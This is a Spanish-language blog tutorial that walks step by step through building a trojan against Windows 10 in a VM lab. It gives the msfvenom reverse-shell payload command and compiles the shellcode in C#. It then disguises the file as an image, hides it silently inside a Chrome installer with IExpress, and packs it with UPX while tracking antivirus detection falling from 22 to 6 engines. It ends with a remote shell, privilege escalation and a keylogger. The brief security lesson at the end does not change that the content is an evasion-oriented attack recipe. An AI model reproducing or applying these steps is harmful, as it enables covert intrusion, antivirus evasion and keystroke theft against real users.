# Troyanizando Windows 10 con Kali Linux 2016

Luigi Guarino 30/11/2017

luigiasir.wordpress.com

# Índice

Introd	lucción
1.	Preparación del entorno 3
Troya	nizar Windows 10 4
1.	Crear backdoor
2.	Generar código fuente 5
3.	Generar ejecutable
4.	Mini camuflaje para nuestro malware 12
5.	Ejecución del troyano 14
6.	Packer IExpress
7.	Comprimiendo aplicación con UPX
8.	Comprobando nuestro nuevo troyano
9.	Post-Explotación
9.1.	Shell
9.2.	Escalar privilegios
9.3.	Keylogger
Concl	usión

# Introducción

¿Qué tal chic@s?

En esta nueva manual, vamos a realizar un poquito de *hacking*. En concreto, vamos a realizar un troyano que nos brinde acceso a un sistema Windows 10...y algo más.

Son demasiados conceptos que tenemos que manejar para el siguiente manual. Tales como: troyano, exploit, meterpreter, payload, C#,...

Así que aun no tienes mucha idea de estas palabrotas, te recomiendo la Wikipedia

# 1. Preparación del entorno

Para realizar nuestro **ataque** vamos a hacer uso de, nada mas y nada menos que **4 maquinas virtuales:** 

- Kali Linux 2017.2
  - NIC A "Red interna": 192.168.1.2/24
  - NIC B "NAT"
- Windows 7 SP1
  - NIC A "Red interna": 192.168.1.3/24
- Ubuntu 16.04.3 LTS
  - NIC A "Red interna": 192.168.1.4/24
     NIC B "NAT"
- Windows 10
  - NIC A "Red interna": 192.168.1.5/24

Adicionalmente, necesitamos unas serie de software necesario para realizar nuestro malware.

- Windows 7:
  - Hanzo Injection Master. Podéis descargarlo de aqui
  - **Resource Hacker**. Podéis descargarlo de <u>aqui</u>
  - UPX: Podéis descargarlo de <u>aqui</u>
- Ubuntu 16.04.3 LTS: Monodevelop. Para descargarlo ya sabéis, sudo apt-get install monodevelop :)

Por supuesto, debemos tener instalado el paquete VirtualBox Guest Additions en todos las maquinas virtuales.

Además, una vez tengamos todos los equipos en red, **actualizados** (repositorios, sistema, etc...) y con el paquete **Guest Additions** instalado, vamos a crear en nuestra **máquina fisica** un directorio ("compartida"), el cual usaremos para trasferir ficheros entre los equipos.

# **Troyanizar Windows 10**

# 1. Crear backdoor

Lo primero de todo, ingresamos como usuarios "**root**" del sistema Kali y abrimos una **terminal**:



Una vez dentro, vamos a **generar la backdoor** concedida por la vulnerabilidad, en un fichero binario (.bin). Ejecutamos:

msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.1.2 lport=8080 -t raw -o /root/Desktop/luigiback.bin



Este binario hara referencia a nuestra **@ip** (**lhost**) y el **puerto** que utilizaremos para escuchar durante el ataque (**lport**). Además almacenaremos el fichero en el Escritorio de "root" (-o /root/Desktop/luigiback.bin)

# 2. Generar código fuente

Una vez tenemos el **fichero binario** de nuestra **backdoor**, vamos a trasformarlo a un fichero dónde se hallara el **código fuente** del mismo.

Para ello utilizaremos **Windows 7** junto con el SW anteriormente mencionado:**Hanzo Injection Master** 

A ello:

1. Utilizamos la **carpeta compartida** para trasferir el fichero binario de un sistema otro

🚍 compartida (\\vboxsrv)	(E:)			_	
Equipo -	ida (\\vboxsrv)	. 🔎			
Organizar 🔻 Nueva carpe	ta			= -	0
☆ Favoritos	Nombre ^	Fecha	a de modificación	Tipo	
Descargas Escritorio Sitios recientes Bibliotecas Documentos Inágenes Música Vídeos Grupo en el hogar Equipo Red	Ligiback.bin	29/11	/2017 23:22	Archivo BIN	
	[				Þ
1 elemento					

luigiasir.wordpress.com



Microsoft Windows [Versión 6.1.7600] Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\Luigi\Desktop\hanzoInjection-master>

2. Copiamos el fichero a la carpeta dónde tengamos Hanzo Injection Master

٠

4. Generamos el fichero cs. Para ello ejecutamos: HanzoInjection.exe -p luigiback.bin -o luigiback.cs



5. Comprobamos en el directorio del software



# 3. Generar ejecutable

Ya tenemos el código fuente de la backdoor. A partir de este **fichero .cs**, vamos a generar el **ejecutable**. Para ello, trasladamos nuestro nuevo fichero **''luigiback.cs'' a Ubuntu**.

Y seguimos los pasos :

Abrimos una terminal y ejecutamos monodevelop

 Iuigi@luigi-VirtualBox: ~
 Iuigi@luigi-VirtualBox:~\$ monodevelop

2. Seleccionamos **Solutions**  $\rightarrow$  **New...** 

÷ [	MonoDevelop     ■	Q Press 'Control+,' to sear
MonoDevelop		
MonoDevelop.com	ocumentación 🖤 Support 👼 Q&A	
Solutions	Noticias de Xamarin	Did you know?
New, Open	Upcoming Webinars   Get the Most Out of Android 8 Ore Hoy Join us on December 13 and December 14 for our newest webinar series, where we'll show you how to make your Xamarin apps even better by adding the latest and greatest Android and IOS updates. Visual Studio	For a faster startup, disable unneeded add-ins using the Addin Manager. Next Tip

#### 3. .NET $\rightarrow$ Proyecto de consola (C#) NUEVO proyecto

Choose a template for your new project									
<ul> <li>Cross-platform Librería</li> <li>Otro</li> <li>NET</li> <li>Miscellaneous</li> </ul>	Ceneral         Proyecto de consola         Proyecto vacio         Proyecto Gtk# 2.0         Libreria	Troyecto de consola         Crea un nuevo proyecto C# de consola.							
Cancelar		Previous Next							

4. Damos nombre al **proyecto** y lo ubicamos en cualquier directorio. En el panel derecho se mostrara el **árbol de ficheros que se crearan**  $\rightarrow$  **Crear** 

Configure your new project							
Nombre del proyecto: Solution Name:	virusluigi virusluigi		PREVIEW /home/luigi/Escritorio virusluigi virusluigi.sln virusluigi virusluigi.csproj				
Ubicación:	/home/luigi/Escritorio	Examinar ctory.					
Version Control:	<ul> <li>Use git for version control.</li> <li>Create a .gitignore file to ignore inessen</li> </ul>	tial files.					
Cancelar			Previous Crear				

5. Por defecto se genera un **fichero código fuente**. El contenido de este fichero sera el que **sustituyamos por nuestro código malicioso** 

Archivo Editar Ver Buscar Proyecto		
Debug ‡ Default	C MonoDevelop	Q Press 'Control+,' to search
Solución × Solución × Solución × Solución × Solución × Paquetes Paquetes Properties Program.cs •••	<pre>Sinselection Sinselection I using System; I using System; class MainClass 6 { 7 public static void Main (string[] args) 8 { 0 Console.WriteLine ("Hello World1"); 10 } 11 } 12 } 13</pre>	

6. Abrimos **luigiback.cs** en el programa → Copiamos el código → Borramos el código de "**Programa.cs**" y **pegamos** el nuestro

😣 🗐 🗉 🛛 virusluigi - F	Program.cs* - Monol	/elop	
Archivo Editar Ver	Buscar Proyecto	onstruir Ejecutar Herramientas Ventana Ayuda	
Debug	Default	MonoDevelop	Q Press 'Control+,' to search
Solución (© virusluigi Virusluigi Virusluigi Paquetes Paquetes Properties Program.cs	. × 	<pre>Program.cs in selección l lpsing System; 2 using System.Reflection; 3 using System.Reflection; 4 using System.Reflection; 6 using System.Obalization; 6 using System.Obalization; 6 using System.Net; 8 using System.Diagnostics; 10 using System.Netreading; 11 using System.Netreading; 11 using System.Xml; 12 namespace ExploitShellcodeExec 13 { 16 [DllImport("kernel32.dll", SetLastError = true)] 17 //[DllImport("kernel32.dll")] 28 static extern bol \u00f3rtimettation; 29 static usint PlaceMolderl(unit arg1) { return 0; } 20 static extern Infthr GetConsoleWindow(); 23 24 [DllImport("user32.dll")]</pre>	, uint dwSize, uint flNewProtect, out uint lpflol,
			A Errors V Tasks

7. Una vez **copiado**, nos dirigimos a **Referencias**, en el panel izquierdo → Configuración (icono) → **Editar Referencias** 



8. Buscamos "system.xml" y tildamos la opción:

Todo Packages Projects .Net Assembly	ି ବ <mark>sys</mark>	tem.xml 📀	Referencias seleccionadas:
Ensamblado	Versión	Paquete	🦲 System
😎 🚍 System.Xml	4.0.0.0	Mono / .NET 4.5	Version=4.0.0.0, Culture=neutral, Pub
🗆 🖶 System.Xml.Linq	4.0.0.0	Mono / .NET 4.5	System.xml Version=4.0.0.0, Culture=neutral, Pub
System.Xml.Serialization	4.0.0.0	Mono / .NET 4.5	
(1)			
			Cancelar Aceptar

 Una vez agregados los paquetes XML, vamos a "validar" el código inseguro para poder compilar nuestro código sin problemas. Nos dirigimos a la pestaña de herramientas superior → Proyecto → Opciones de virusluigi

Archivo Editar Ver Buscar	Proyecto Construir Ejecutar H	erramientas Ventana Ayuda	
Debug :	Exportar Crear paquete Editar referencias	rdedo. Q. Press 'Control+,' to search	
Y invisulgi     Viruslulgi     Viruslulgi     Viruslulgi     System     System     System.Xml     Paquetes     Properties	Add NuGet Packages Update NuGet Packages Restore NuGet Packages Run Code Analysis on virusluigi Run Code Analysis on Solution	<pre>eflection; untime.InteropServices; ≥xt; lobalization; 0; et;</pre>	Barras de herramier
Program.cs	Configuración actual Aplicar política Exportar política Opciones de la solución	<pre>, inq; iagnostics; hreading; nl; pitShellcodeExec</pre>	ntas 🛄 Propie
	Opciones de virusluigi           16         [D11]           17         //[/]           18         stat           19         publ           20         stat           21         [D11]           22         stat           23         stat           24         [D11]	<pre>Import("kernel32.dll", SetLastError = true)] IImport("kernel32.dll", SetLastError = true)] iimport("kernel32.dll") ii delogate uint RetLArgolegate(uint address); ii uint PlaceHolder(uint argl) { return 0; } Import("kernel32.dll")] ii extern IntPtr GetConsoleWindow(); Import("user32.dll")]</pre>	Contorno del

#### Troyanizando Windows 10 con Kali Linux 2016

10. Construcción → General → Tildamos la opción "**Permitir código inseguro**"

<ul> <li>General</li> <li>Parámetros principales</li> </ul>	General	
<sup>r</sup> <mark>Construcción</mark> I≻ <mark>General</mark>	Target framework: Mono / .NET 4.5	:
举 Comandos personalizados 举 Configuraciones 举 Compilador 举 Firmado de ensamblados	Build Engine	nmended for this project type)
弶 Salida	Generación de código	
<ul> <li>▼ Ejecutar</li> <li>▶ General</li> </ul>	Objetivo de la compilación:	Ejecutable 🗘
🛱 Comandos personalizados	Clase principal:	<b>v</b>
<ul> <li>Código fuente</li> <li>Políticas de nombrado .NET</li> </ul>	Icono Win32:	Examinar
Formateo de código	Código de página del compilador:	▼
Cabecera estándar Name Conventions	Do not reference mscorlib.dll	
P Despliegue	Opciones del lenguaje	
🕸 Parámetros del despliegue en Linux	Versión del lenguaje C#: Predete	rminado 💲
	Permitir código 'inseguro'	

- 11. Por último, pulsamos F8 para compilar el código.
- 12. Comprobamos que se ha realizado correctamente. Para ello nos dirigimos al directorio del proyecto, en mi caso /home/luigi/Escritorio. Dentro del directorio virusluigi, nos dirigimos a bin y comprobamos que se ha creado el fichero .exe

		Debug										
<		<b>û</b> Carpet	a personal	Escritorio	virusluigi	virusluigi	bin	Debug		۹	∷	
0	Rec	ientes				A						
	Carj Esci	peta personal ritorio		virusluigi.ex	e virus	sluigi.exe.mo	db					
÷	Des	cargas										
0	Doc Imá	umentos genes										
1	Mús	sica										
) ()))	Víd Pap	eos elera										
<b>.</b> 27	sf_c Red	ompartida										
<ul> <li>₽</li> <li>1</li> <li>1</li></ul>	Equ VBC Con	ipo DXADDITIO ectarse con u	▲ n									

Cancelar Aceptar

# 4. Mini camuflaje para nuestro malware

Vamos a hacer uso del sofware Resource Hacker en Windows 7.

- 1. Una vez trasportado el nuevo fichero **.exe** al S.O Windows, abrimos el programa → **File** → **Open**
- 2. Seleccionamos nuestro .exe



3. Seleccionamos el siguiente **icono**:

RH Resource Hacker - virusluigi.exe	2	
File Edit View Action Help		Version Info
	🗖 🔶 D C 🖉 🖪 🔀	Dialog Mer 🕂 🕞 🧯

4. Y elegimos nuestro imagen .ico

Add Binary Resource	×
Select File	
artworksuper_mario_3d_wor	
Resource <u>T</u> ype:	
ICONGROUP	
Resource <u>N</u> ame:	
1	
Resource Language:	
Add Resource	
Cancel	

5. Ahora nuestro .exe tiene esta pinta: Windows 7 [Running] - Oracle VM VirtualBox



Nota: Por defecto, Windows 10 no muestra las extensiones de los ficheros. Por tanto, nos sirve para ocultar nuestro malware.

# 5. Ejecución del troyano

Abrimos el software **Armitage** y comenzamos escuchar en busca de la **ejecución** de nuestra **backdoor**:

Seguimos los siguientes pasos:

- 1. Ejecutamos use multi/handler
- 2. Introduccimos el payload: set payload windows/meterpreter/reverse\_tcp
- 3. set **lhost** (@ip\_kali)
- 4. set **lport** (puerto que usamos en la backdoor)
- 5. exploit -j

Armitage View Hosts Attacks Workspaces Help  auxiliary  payload  post  Console X  msf > use multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.2 lhost => 192.168.1.2 msf exploit(handler) > set loort 8080 lport => 8080 msf exploit(handler) > exploit -j [*] Exploit running as background job 1.		Armitage	×
<pre>&gt; auxiliary &gt; @ exploit &gt; @ payload &gt; @ post Console X msf &gt; use multi/handler msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp payload =&gt; windows/meterpreter/reverse_tcp pa</pre>	<u>A</u> rmitage <u>V</u> iew <u>H</u> osts <u>A</u> ttacks <u>W</u> ork	spaces <u>H</u> elp	
<pre>Console X msf &gt; use multi/handler msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp payload =&gt; windows/meterpreter/reverse_tcp msf exploit(handler) &gt; set lhost 192.168.1.2 lhost =&gt; 192.168.1.2 msf exploit(handler) &gt; set lport 8080 lport =&gt; 8080 msf exploit(handler) &gt; exploit -j [*] Exploit running as background job 1.</pre>	<ul> <li>auxiliary</li> <li>exploit</li> <li>payload</li> <li>post</li> </ul>		
<pre>Console X msf &gt; use multi/handler msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp payload =&gt; windows/meterpreter/reverse_tcp msf exploit(handler) &gt; set lhost 192.168.1.2 lhost =&gt; 192.168.1.2 msf exploit(handler) &gt; set lport 8080 lport =&gt; 8080 msf exploit(handler) &gt; exploit -j [*] Exploit running as background job 1.</pre>	A V		
<pre>msf &gt; use multi/handler msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp payload =&gt; windows/meterpreter/reverse_tcp msf exploit(handler) &gt; set lhost 192.168.1.2 lhost =&gt; 192.168.1.2 msf exploit(handler) &gt; set lport 8080 lport =&gt; 8080 msf exploit(handler) &gt; exploit -j [*] Exploit running as background job 1.</pre>	Console X		
<pre>msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp payload =&gt; windows/meterpreter/reverse_tcp msf exploit(handler) &gt; set lhost 192.168.1.2 lhost =&gt; 192.168.1.2 msf exploit(handler) &gt; set lport 8080 lport =&gt; 8080 msf exploit(handler) &gt; exploit -j [*] Exploit running as background job 1.</pre>	<u>msf</u> > use multi/handler		
<pre>payLoad =&gt; windows/meterpreter/reverse_tcp msf exploit(handler) &gt; set lhost 192.168.1.2 lhost =&gt; 192.168.1.2 msf exploit(handler) &gt; set lport 8080 lport =&gt; 8080 msf exploit(handler) &gt; exploit -j [*] Exploit running as background job 1.</pre>	<pre>msf exploit(handler) &gt; set pa msr land</pre>	yload windows/meterpreter/reverse_tcp	
<pre>lhost =&gt; 192.168.1.2 msf exploit(handler) &gt; set lport 8080 lport =&gt; 8080 msf exploit(handler) &gt; exploit -j [*] Exploit running as background job 1.</pre>	payload => Windows/meterprete	r/reverse_tcp	
<pre>msf exploit(handler) &gt; set lport 8080 lport =&gt; 8080 msf exploit(handler) &gt; exploit -j [*] Exploit running as background job 1.</pre>	$\frac{\text{msr}}{1 \text{ host}} \approx 192.168.1.2$	051 192.100.1.2	
lport => 8080 <u>msf</u> exploit( <mark>handler</mark> ) > exploit -j [*] Exploit running as background job 1.	<pre>msf exploit(handler) &gt; set l</pre>	oort 8080	
<u>msf</u> exploit( <mark>handle</mark> r) > exploit -j [*] Exploit running as background job 1.	lport => 8080		
[*] Exploit running as background job 1.	<pre>msf exploit(handler) &gt; exploit</pre>	t -j	
[*] Chambad movement TCD handlen on 102 160 1 2,0000	[*] Exploit running as backg	ound job 1.	
ref evaleit(headler)	ref eveloit(bondlor)	er on 192.108.1.2:8080	, v

Troyanizando Windows 10 con Kali Linux 2016

#### 30 de noviembre de 2017

#### Es hora de hacer llegar nuestro malware a la máquina objetivo.

Nuestro objetivo abre la imagen. Mentira es un malware :)



Lo abre y no pasa nada. No hay imagen...

Pero en nuestras pantallas...



Como podemos comprobar, hemos obtenido una sesión en la consola de Meterpreter. Además, nuestro malware se encuentra en ejecución en segundo plano.

luigiasir.wordpress.com

Ya tenemos una sesión iniciada con la maquina objetivo.

Decir que, tras **escanear el malware** con **diferentes AV's**, haciendo uso de la herramienta <u>VirusTotal</u>, únicamente ha sido detectado como software malicioso por 22 antivirus de 67:

Σ	Search or scan a URL, IP addres	is, domain, or file hash		Q	r	Sign in
	22 / 67 Detection Details	22 engines detected this file SHA-256 8d8f52617beae34716866477ce792 File name virusluigi.exe File size 8.5 KB Last analysis 2017-11-30 07:37:19 UTC	19a12dceb1983c40afcecc68360	03841c49	•	
	Ad-Aware	Gen:Heur.MSIL.Krypt.88	Arcabit	Trojan.MSIL.Krypt.88		
	Avast	Win32:Evo-gen [Susp]	AVG	Win32:Evo-gen [Susp]		
	BitDefender	Gen:Heur.MSIL.Krypt.88	CrowdStrike Falcon	malicious_confidence_60% (D)		
	Cybereason	malicious.1b8fb7	Emsisoft	Gen:Heur.MSIL.Krypt.88 (B)		
	Endgame	malicious (high confidence)	eScan	Gen:Heur.MSIL.Krypt.88		
	ESET-NOD32	a variant of MSIL/Tiny.H	F-Secure	Gen:Heur.MSIL.Krypt.88		
						*

Asi que, reinciamos Windows 10 para cerrar la sesión, y vamos a reducir un poco más este umbral...

# 6. Packer IExpress

Para **confundir** un poco mas a los AV's, vamos a hacer uso de la herramienta **IExpress**, presente en la mayoría de los Windows.

El funcionamiento es básico: a partir de un instalador **.exe confiable, añadimos nuestro malware** para instalarse en segundo plano.

Por ejemplo, voy a hacer uso del instalador de Chrome: ChromeSetup.exe para añadir virusluigi.exe.

Comencemos, recordamos que nos encontramos en Windows 7:

• En nuestro Escritorio ubicamos los dos ficheros .exe y abrimos IExpress



• Siguiente → Seleccionamos la primera opción



30 de noviembre de 2017

Troyanizando Windows 10 con Kali Linux 2016

• Damos nombre al proyecto  $\rightarrow$  Siguiente

🗎 IExpress Wizard	<u>×</u>
Pack	tage title
Type the title will a	e title of your package in the following box. This appear on all dialog boxes that the user sees.
chrome	e_setup
	< <u>A</u> trás Siguien <u>t</u> e > Cancelar

 No usamos prompt, ya que no queremos que salga ningún mensaje al usuario. Cuanto mas oculto mejor :) → Siguiente

Cor	firmation	prompt	
If you packa Dtherv	want to confirm th ge, select Promp vise, select No Pr prompt	hat the user wants t User With and typ rompt.	to install your pe the prompt.
C Pr	ompt user with:		
		1 <u>5 (5</u>	

• Tampoco vamos a incluir **ninguna licencia**  $\rightarrow$  Siguiente

📑 IExpress Wizard	×
	License agreement
	If you want to display a License Agreement before allowing an installation, select Display a License and choose the License file; otherwise, select Do Not Display a License.
	Do not display a license.
	O Display a license:
	Biowse
	< <u>A</u> trás Siguien <u>t</u> e > Cancelar

En esta pantalla vamos a añadir los archivos en cuestión. Seleccionamos Add
 → virusluigi.jpg / ChromeSetup → Siguiente

Troyanizando Windows 10 con Kali Linux 2016

30 de noviembre de 2017

IExpress Wizard	x
	Packaged files
	Create a list of files that you want in your compressed package.
	Filename Path
	Add <u>B</u> emove
_	< <u>A</u> trás Siguien <u>t</u> e > Cancelar
IExpress Wizard	X
	Packaged files Create a list of files that you want in your compressed
	package.
	Filename Path
	virusluigi, jpg C:\Users\Luigi\Desktop\
	<u>Add</u>
	< <u>A</u> trás Siguien <u>t</u> e > Cancelar

• Ahora decidiremos que programa instalamos primero. En mi caso voy a ejecutar en primer lugar el instalador de Chrome y posteriormente ejecutare el troyano

🚪 IExpress Wizard	2	:
	Install Program to Launch	
	Select the programs or INF files to launch from the package. A custom command can also be created below.	
	Install ChromeSetup.exe	
	The below comand will be run after the install has completed.	
	Post Install Virusluigi jpg.exe	
	< <u>A</u> trás Siguien <u>t</u> e > Cancelar	

• Dejamos los **valores por defecto** (para que se muestre la pantalla de instalación):

🚪 IExpress Wizard	×	
	Show window Select how your installation program's window will be displayed. Default (recommended) Hidden Minimized Maximized	
	< <u>A</u> trás Siguien <u>t</u> e > Cancelar	

No mostramos ningún mensaje al final de la instalación
 IExpress Wizard

Finished message
If you want to display a message to the user after installation is complete, select Display Message and type the message; otherwise, select No Message.
<ul> <li>No message.</li> <li>Display message:</li> </ul>
< <u>A</u> trás Siguien <u>t</u> e > Cancelar

• Seleccionamos **Browse** y damos **nombre a nuestro .exe** que va a ser creado. Además, vamos a **ocultar** el **proceso de extracción** de los programas al usuario.

📔 IExpress Wizard	×
	Package Name and Options
	Enter the target path and filename for your package. This is the file that will get downloaded and executed by the user.
	C:\Users\Luigi\Desktop\chrome_setup
	Options Hide File Extracting Progress Animation from User
	Store files using Long File Name inside Package
	< <u>A</u> trás Siguien <u>t</u> e > Cancelar

No reiniciamos ya que perdíamos la conexión con la máquina objetivo
 IExpress Wizard

	Configure restart
	Select how you want the system to restart at the end of your installation program. No restart Always restart Only restart if needed Do not prompt user before restarting
o creamos ar	<arbla by="" of="" second="" stat<="" state="" th="" the=""></arbla>
IExpress Wizard	×
	Save Self Extraction Directive
	If you would like to save this information for later use, select Save Self Extraction Directive (SED) file; otherwise, select Don't save.
	If you choose to save this information, you can modify it later and recreate your package, without re-entering all the previous information.
	Save Self Extraction Directive (SED) file:
	C:\Users\Luigi\Desktop\chrome_si Browse
	<ul> <li>Don't save.</li> </ul>
	< <u>A</u> trás Siguien <u>t</u> e > Cancelar

• Y finalmente **creamos** el paquete:

Popelers de readaje	
Trone_setup	Express Wizerd      Create package      Your package has been created. Click Finish when you are ready to gut.
verdelage.lbg	Statur Bytes after: 1.119.238 After/Betore: 0.258.econgression Three: 0.258.econds (D N 0 m 0.55 see Throughout: 2343.35 Kb/second Deeling the package
compatible hobosev)(	< Atris Finalcar Cancelar
up.094er	
Inicio 🎑 🚞 💽 📃	▲ <b>[13] (12)</b> [13:01]

luigiasir.wordpress.com

Una vez tenemos nuestro **nuevo .exe**, vamos a volver a **analizarlo**:

17/67 Detection Details	17 engines detected this file SHA-256 Of1c197da1236be47380398c2785/bb766 File name chrome_setsp2CXE File size 12.2 M8 Last analysis 2017-11-30 17:02:45 UTC Community	94eb859805b10862cae45d81f3f	tof 3	
AegisLab	Troj.W32.Generic!c	Avast	Win32:Evo-gen [Susp]	
AVG	Win32:Evo-gen [Susp]	Baidu	Win32.Trojan.WisdomEyes.16070401	
CrowdStrike Falcon	malicious_confidence_100% (D)	Cybereason	malicious.72537b	
Cylance	🛕 Unsafe	Endgame	malicious (high confidence)	
eScan	Gen:Heur.MSIL.Krypt.88	ESET-NOD32	a variant of MSIL/Tiny.H	
F-Secure	Gen:Heur.MSIL.Krypt.88	Kaspersky	HEUR:Trojan.Win32.Generic	
McAfee	GenericRXBM-YEIABB3BB027C14	McAfee-GW-Edition	GenericRXBM-YE!AB83BB027C14	
SentinelOne	static engine - malicious	Sophos ML	heuristic	

Hemos reducido a 17 AV's que detectan nuestro troyano.

Pero podemos hacerlo mejor...no?

# 7. Comprimiendo aplicación con UPX

Esta vez, vamos a hacer uso de **UPX**. ¿Y qué es? Bueno, UPX es un **software de comprensión** para diferentes formatos. Nosotros haremos uso de él para, **comprimir aun más nuestro programa** y así, **confundir** un poco más a los "**caza-virus**".

Vamos a ello:

퉬 upx394w					<u>_     ×</u>	
🕞 🕒 👻 upx394w 🗸 🛃 Buscar upx394w						
Organizar 👻 Incluir en bibl	lioteca 🔻 Compartir con 💌 Nueva carpeta					
👉 Favoritos	Nombre 🔶	Fecha de modificación	Tipo	Tamaño		
Descargas	BUGS	12/05/2017 17:54	Archivo	2 KB		
🧮 Escritorio	COPYING	12/05/2017 17:54	Archivo	18 KB		
🔚 Sitios recientes		12/05/2017 17:54	Archivo	6 KB		
C Dillionaria	NEWS	12/05/2017 17:54	Archivo	23 KB		
Documentos	README	12/05/2017 17:54	Archivo	5 KB		
Imágenes	README.1ST	12/05/2017 17:54	Archivo 1ST	1 KB		
J Música	THANKS	12/05/2017 17:54	Archivo	3 KB		
🛃 Vídeos	upx.1	12/05/2017 17:54	Archivo 1	42 KB		
	upx.doc	12/05/2017 17:54	Archivo DOC	37 KB		
😽 Grupo en el hogar	💷 upx	12/05/2017 17:54	Aplicación	356 KB		
🔊 Equipo	🥭 upx	12/05/2017 17:54	Documento HTML	39 KB		
12 -1-7-	chrome_setup	30/11/2017 18:01	Aplicación	1.258 KB		
年 Red						
12 elementos						

1. Incluimos nuestro paquete "chrome\_setup" en el directorio del programa

Troyanizando Windows 10 con Kali Linux 2016

30 de noviembre de 2017

2. Abrimos una consola **cmd** en el directorio del programa



3. Ejecutamos upx --ultra-brute chrome\_setup.exe, de esta forma, comprimimos al máximo posible el paquete. Aunque podamos perder funciones a la hora de instalar Chrome no nos importa, ya que, lo importante es nuestro troyano :)

UPX 3.94w	Markus Ol	copyrign berhumer,	Laszlo Molnai	* & John Reiser May 12th 2017		
File size		Ratio	Format	Name		
1287680 ->	1258496	97.73%	win64/pe	chrome_setup.exe		
Packed 1 file.						
C:\Users\Luigi\	\Desktop\uj	x394w>				

4. Podemos comprobar qué únicamente a reducido en un **3%/apróx** su tamaño original. Pero, vamos a comprobar si ahora es **menos detectado**:

Σ	Search or scan a URL, IP address	s, domain, or file hash				Sign in
	6/67 Detection Details	6 engines detected this file SHA-256 b67453f7df6fb2f5457b88a97df File name chrome_setup.EXE File size 1.2 MB Last analysis 2017-11-30 17:15:23 UTC Community	e6e283f80bb939bd738d84042f0r	ef93267ef6		
	Avast	Win32:Evo-gen [Susp]	AVG	Win32:Evo-gen [Susp]		
	ESET-NOD32	a variant of MSIL/Tiny.H	Kaspersky	HEUR:Trojan.Win32.Generic		
	Sophos ML	heuristic	ZoneAlarm	HEUR:Trojan.Win32.Generic		
	Ad-Aware	Clean	AegisLab	Clean		
	AhnLab-V3	Clean	ALYac	Clean		
	Antiy-AVL	Clean	Arcabit	Clean		
	Avast Mobile Security	Clean	Avira	Clean		
	A)(44240	Clean	Paidu	Clean		-

Únicamente 6 de 67 antivirus escaneados detectan el malware. No esta nada mal...

### 8. Comprobando nuestro nuevo troyano

Bueno, vamos a hacer llegar nuestro **.exe "tuneado"** a la máquina Windows 10 y comprobamos que el **payload** sigue funcionando:

• Ejecuta el instalador de Chrome y no se instala porque no tenemos salida a



• Pero a la hora de pulsar "Cerrar"...



Recordar que, en esta máquina virtual Windows 10 se encuentra **totalmente activado Windows Defender y Firewall**, ademas del control de cuentas **UAC**. Es decir, un **Windows 10 recién instalado**.

### 9. Post-Explotación

Una vez tenemos sesión en la maquina, vamos a realizar diversas acciones para recopilar información/datos de la victima:

#### 9.1. Shell

Vamos a abrir una shell en la maquina objetivo. Para ello ejecutamos el comando **msfconsole** en una terminal.

Una vez dentro y escuchando (apartado 5), ejecutamos "sessions" para comprobar el identificador de la sesión:



Posteriormente ejecutamos **sessions -i 1** para seleccionar como objetivo esta sesión e introducimos el comando **shell:** 



Vamos a listar todo el contenido del Escritorio, por ejemplo:

```
C:\>dir Users\ET2\Desktop
dir Users\ET2\Desktop
El volumen de la unidad C no tiene etiqueta.
El nûmero de serie del volumen es: 8415-EB79
Directorio de C:\Users\ET2\Desktop
30/11/2017 18:59 <DIR> .
30/11/2017 18:59 <DIR> .
30/11/2017 18:59 <DIR> .
30/11/2017 18:01 1.258.496 chrome_setup.EXE
1 archivos 1.258.496 bytes
2 dirs 9.374.736.384 bytes libres
```

# 9.2. Escalar privilegios

Para el siguiente caso, vamos a suponer que, por alguna razón, nuestra victima a decido desactivar UAC y Windows Defender...

Bueno entonces nosotros vamos a volver a la consola de meterpreter, y vamos a comprobar que **no** somos los **administradores del sistema**. Ejecutamos **getuid**:



Para empezar a escalar, lo primero sera mandar al "**background**" nuestra sesión actual sesión y volver a la consola de **msf**:

```
<u>meterpreter</u> > background
[*] Backgrounding session 1...
<u>msf</u> exploit(handler) >
```

Vamos a utilizar el siguiente **exploit**, pasandole como **parámetro** nuestra sesión almacenada:



Al ejecutar el exploit aparecerá lo siguiente en la pantalla de la victima:



Con un poco de suerte **aceptara** y entonces ya tendremos nuestra sesión con **permisos absolutos** :) Es decir, podremos modificar registros, arranque, etc... a nuestro gusto.

### 9.3. Keylogger

Como todos sabréis, un **keylogger** es una pequeña función que graba **todo lo que tecleemos**. Desde contraseñas hasta comentario en el blog :)

Vamos a utilizar **Armitage** para insertar un **keylogger** en nuestra victima, de una forma muy sencilla:

Nos dirigimos a la máquina objetivo  $\rightarrow$  Clic derecho sobre ella  $\rightarrow$  Meterpreter 1  $\rightarrow$  Explore  $\rightarrow$  Log Keystrokes  $\rightarrow$  Launch



[\*] Keystrokes being saved in to /root/.msf4/loot/20171130210443\_default\_192.168.1.5\_host.windows.key\_157233.txt [\*] Recording keystrokes... [+] Keystrokes captured u [+] Keystrokes captured giasir [+] Keystrokes captured la [+] Keystrokes captured la [+] Keystrokes captured asir msf post(keylog\_recorder) >

# Conclusión

Terminamos nuestro paso por **Kali Linux.** En esta manual se ha demostrado la **importancia de un buen sistema operativo actualizado**, que junto con un antivirus eficaz y sobre todo, un **usuario con ''dos dedos de frente''**, son los principales factores para mantener un **equipo seguro y libre de intrusiones.** 

luigiasir.wordpress.com